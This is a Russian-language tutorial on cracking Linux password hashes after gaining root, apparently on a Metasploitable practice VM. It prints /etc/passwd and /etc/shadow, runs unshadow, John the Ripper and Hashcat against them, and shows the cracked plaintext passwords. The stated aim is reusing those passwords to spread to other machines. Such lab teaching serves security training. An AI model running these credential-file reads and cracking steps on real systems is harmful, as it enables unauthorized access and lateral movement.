После получения root-доступа к Linux важно не останавливаться на достигнутом. Почему бы не попробовать взломать пароли пользователей? Если повезет и для входа в разные системы будет использоваться одна и та же учетная запись, можно распространить атаку и на другие машины.
Для взлома паролей есть два испытанных инструмента: John the Ripper и Hashcat.
В Linux-системах особенный интерес представляют два файла: /etc/passwd и /etc/shadow. Файл /etc/passwd содержит основную информацию обо всех учетных записях в системе: о пользователе root, о служебных учетных записях и о реальных пользователях. Каждая строка файла /etc/passwd включает в себя семь полей. Типичная строка будет выглядеть примерно так:
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
Третье поле содержит уникальный номер — идентификатор пользователя. В четвертом поле идет идентификатор группы. Пятое поле, как правило, содержит полное имя пользователя, хотя может быть пустым. Шестое поле — домашний каталог пользователя. И, наконец, седьмое поле содержит оболочку по умолчанию (обычно /bin/bash).
Файл /etc/shadow хранит зашифрованные пароли пользователей системы. В отличие от файла /etc/passwd, доступного для чтения всем пользователям, файл /etc/shadow доступен только пользователю с правами root. Помимо зашифрованных паролей, в файле shadow также содержится и другая информация, например сроки действия паролей. Типичная строка файла /etc/shadow будет выглядеть примерно так:
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::
После эксплуатации уязвимости ядра и получения доступа на корневом уровне можно использовать эти два файла, чтобы попробовать раскрыть пароли других пользователей и получить доступ к другим системам.
В первую очередь нужно скопировать содержимое файлов /etc/passwd и /etc/shadow в отдельные текстовые файлы на локальной машине. Пусть это будут файлы passwd.txt и shadow.txt соответственно.
cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh dhcp:x:101:102::/nonexistent:/bin/false syslog:x:102:103::/home/syslog:/bin/false klog:x:103:104::/home/klog:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash bind:x:105:113::/var/cache/bind:/bin/false postfix:x:106:115::/var/spool/postfix:/bin/false ftp:x:107:65534::/home/ftp:/bin/false postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false distccd:x:111:65534::/:/bin/false user:x:1001:1001:just a user,111,,:/home/user:/bin/bash service:x:1002:1002:,,,:/home/service:/bin/bash telnetd:x:112:120::/nonexistent:/bin/false proftpd:x:113:65534::/var/run/proftpd:/bin/false statd:x:114:65534::/var/lib/nfs:/bin/false cat /etc/shadow root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7::: daemon:*:14684:0:99999:7::: bin:*:14684:0:99999:7::: sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:14742:0:99999:7::: sync:*:14684:0:99999:7::: games:*:14684:0:99999:7::: man:*:14684:0:99999:7::: lp:*:14684:0:99999:7::: mail:*:14684:0:99999:7::: news:*:14684:0:99999:7::: uucp:*:14684:0:99999:7::: proxy:*:14684:0:99999:7::: www-data:*:14684:0:99999:7::: backup:*:14684:0:99999:7::: list:*:14684:0:99999:7::: irc:*:14684:0:99999:7::: gnats:*:14684:0:99999:7::: nobody:*:14684:0:99999:7::: libuuid:!:14684:0:99999:7::: dhcp:*:14684:0:99999:7::: syslog:*:14684:0:99999:7::: klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:14742:0:99999:7::: sshd:*:14684:0:99999:7::: msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7::: bind:*:14685:0:99999:7::: postfix:*:14685:0:99999:7::: ftp:*:14685:0:99999:7::: postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:14685:0:99999:7::: mysql:!:14685:0:99999:7::: tomcat55:*:14691:0:99999:7::: distccd:*:14698:0:99999:7::: user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:14699:0:99999:7::: service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:14715:0:99999:7::: telnetd:*:14715:0:99999:7::: proftpd:!:14727:0:99999:7::: statd:*:15474:0:99999:7:::
John the Ripper — популярный инструмент для взлома паролей, поддерживающий множество типов хешей. Кроме того, у него есть крайне полезная функция автораспознавания типа хеша. Инструмент существует уже довольно давно и имеет репутацию одного из самых эффективных и удобных взломщиков.
Прежде чем начать скармливать хеши «Джону», нам нужно объединить файлы passwd и shadow в один с помощью утилиты unshadow. На выходе получим формат, который Джон сможет прочесть. Запустим следующую команду, чтобы объединить исходные данные в новом текстовом файле с названием passwords.txt.
«Джон» может работать и самостоятельно: нужно просто ввести john и указать исходный файл. Но лучше помочь ему и предоставить wordlist — список слов или словарь, содержащий возможные пароли. В каталоге /usr/share/wordlists есть несколько словарей, но мы будем использовать словарь sqlmap.txt, так как он выглядит гораздо внушительнее. С помощью флага --wordlist укажем, какой словарь следует использовать, и передадим «Джону» исходный файл:
john --wordlist=/usr/share/wordlists/sqlmap.txt passwords.txt Warning: detected hash type "md5crypt", but the string is also recognized as "aix-smd5" Use the "--format=aix-smd5" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 7 password hashes with 7 different salts (md5crypt, crypt(3) $1$ [MD5 128/128 SSE2 4x3]) Remaining 1 password hash Press 'q' or Ctrl-C to abort, almost any other key for status 0g 0:00:00:51 DONE (2018-08-06 14:10) 0g/s 27478p/s 27478c/s 27478C/s Zzzzzzz1..zzzzzzzzzzzzzzz Session completed
Тип используемого хеша «Джон» определил как md5crypt, также известный как aix-smd5. Спустя некоторое время сессия успешно завершается. Теперь можно использовать флаг --show, чтобы увидеть успешно взломанные пароли:
john --show passwords.txt sys:batman:3:3:sys:/dev:/bin/sh klog:123456789:103:104::/home/klog:/bin/false msfadmin:msfadmin:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash postgres:postgres:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash user:user:1001:1001:just a user,111,,:/home/user:/bin/bash service:service:1002:1002:,,,:/home/service:/bin/bash 6 password hashes cracked, 1 left
После имени пользователя, указанного в первом поле, во втором поле мы теперь видим пароль в виде открытого текста. «Джон» смог взломать шесть из семи хешей. Результат в каждом конкретном случае будет зависеть от используемого железа, от вспомогательных словарей и, конечно же, от длины и сложности паролей, которые требуется взломать
Еще один мощный инструмент для взлома хешей — Hashcat. У него множество функций, есть версии на базе CPU и GPU. С выходом Hashcat v3.00 инструменты GPU и CPU были объединены в один. Версия, предназначенная только для CPU, получила название Hashcat-legacy. В отличие от «Джона», Hashcat не такой привередливый — ему можно сразу предоставить непосредственно хеши паролей. Скопируем хеши, которые нужно взломать, в новый текстовый файл с названием hashes.txt:
cat hashes.txt $1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid. $1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0 $1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0 $1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/ $1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/ $1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0 $1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//
В зависимости от того, какой тип хеша нужно взломать, Hashcat предлагает разные режимы работы. Так как «Джон» уже определил тип хешей нашего файла shadow как md5crypt, мы можем ввести hashcat --help, чтобы увидеть все опции и режимы, доступные для данного алгоритма шифрования. Судя по всему, для md5crypt нужно использовать режим 500:
0500 | md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5) | Operating Systems 3200 | bcrypt $2*$, Blowfish (Unix) | Operating Systems 7400 | sha256crypt $5$, SHA256 (Unix) | Operating Systems 1800 | sha512crypt $6$, SHA512 (Unix) | Operating Systems 122 | macOS v10.4, MacOS v10.5, MacOS v10.6 | Operating Systems 1722 | macOS v10.7 | Operating Systems 7100 | macOS v10.8+ (PBKDF2-SHA512) | Operating Systems
Для запуска взлома выполним следующую команду:
hashcat -m 500 -a 0 -o cracked.txt hashes.txt /usr/share/wordlists/sqlmap.txt -O hashcat (v4.1.0) starting... * Device #2: Not a native Intel OpenCL runtime. Expect massive speed loss. You can use --force to override, but do not report related errors. OpenCL Platform #1: Intel(R) Corporation ======================================== * Device #1: Intel(R) Core(TM) i5 CPU M 480 @ 2.67GHz, 934/3736 MB allocatable, 4MCU OpenCL Platform #2: The pocl project ==================================== * Device #2: pthread-Intel(R) Core(TM) i5 CPU M 480 @ 2.67GHz, skipped. Hashes: 7 digests; 7 unique digests, 7 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Rules: 1 Applicable optimizers: * Optimized-Kernel * Zero-Byte
Тут требуется несколько пояснений:
Пока Hashcat делает свою работу, можно в любой момент ввести s, чтобы посмотреть ее статус и оценить прогресс:
[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit => s Session..........: hashcat Status...........: Running Hash.Type........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5) Hash.Target......: hashes.txt Time.Started.....: Mon Aug 6 14:18:10 2018 (30 secs) Time.Estimated...: Mon Aug 6 14:21:08 2018 (2 mins, 28 secs) Guess.Base.......: File (/usr/share/wordlists/sqlmap.txt) Guess.Queue......: 1/1 (100.00%) Speed.Dev.#1.....: 15816 H/s (7.84ms) @ Accel:256 Loops:125 Thr:1 Vec:4 Recovered........: 5/7 (71.43%) Digests, 5/7 (71.43%) Salts Progress.........: 1648627/9845703 (16.74%) Rejected.........: 3059/1648627 (0.19%) Restore.Point....: 234929/1406529 (16.70%) Candidates.#1....: 9dH8eJEs -> 9notenler HWMon.Dev.#1.....: N/A
Когда процесс будет близок к завершению, вы увидите соответствующее сообщение, а также дополнительную информацию: о количестве восстановленных хешей, времени начала и времени завершения работы.
Approaching final keyspace - workload adjusted. Session..........: hashcat Status...........: Exhausted Hash.Type........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5) Hash.Target......: hashes.txt Time.Started.....: Mon Aug 6 14:18:10 2018 (2 mins, 59 secs) Time.Estimated...: Mon Aug 6 14:21:09 2018 (0 secs) Guess.Base.......: File (/usr/share/wordlists/sqlmap.txt) Guess.Queue......: 1/1 (100.00%) Speed.Dev.#1.....: 15738 H/s (8.15ms) @ Accel:256 Loops:125 Thr:1 Vec:4 Recovered........: 5/7 (71.43%) Digests, 5/7 (71.43%) Salts Progress.........: 9845703/9845703 (100.00%) Rejected.........: 30891/9845703 (0.31%) Restore.Point....: 1406529/1406529 (100.00%) Candidates.#1....: zzbell0506 -> zzzzzzzzzzzzzzz HWMon.Dev.#1.....: N/A Started: Mon Aug 6 14:18:06 2018 Stopped: Mon Aug 6 14:21:10 2018
Теперь можно отобразить содержимое файла cracked.txt и увидеть пароли в открытом виде:
cat cracked.txt $1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:batman $1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:postgres $1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:service $1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:user
Широкое распространение облачных технологий и распределенных вычислений вывело взлом паролей на совершенно новый уровень. Если хакеры-одиночки используют виртуальную машину или ноутбук, в лучшем случае — мощный стационарный компьютер, то в распоряжении онлайн-сервисов находятся целые выделенные серверы. Используя такие сайты, как CrackStation, Online Hash Crack и MD5/Sha1 Hash Cracker, любой желающий может взломать пароль прямо в браузере. Хотя ни один из этих сервисов, кажется, не поддерживает хеши md5crypt, с которыми мы столкнулись, они поддерживают другие, более распространенные форматы: MD5, SHA1, LM.
Напоследок одно важное замечание. Если вам не удалось найти сервис, поддерживающий нужный вам формат хеша, вы, скорее всего, сэкономите себе кучу времени, если просто попытаетесь погуглить. Искать можно прямо по конкретному хешу, который вы хотите взломать. Если это хеш от какого-то простого пароля или хеш, который уже кто-то взломал, велика вероятность, что гугл-поиск поможет.
Первое — находим постоянно, второе — ждем вас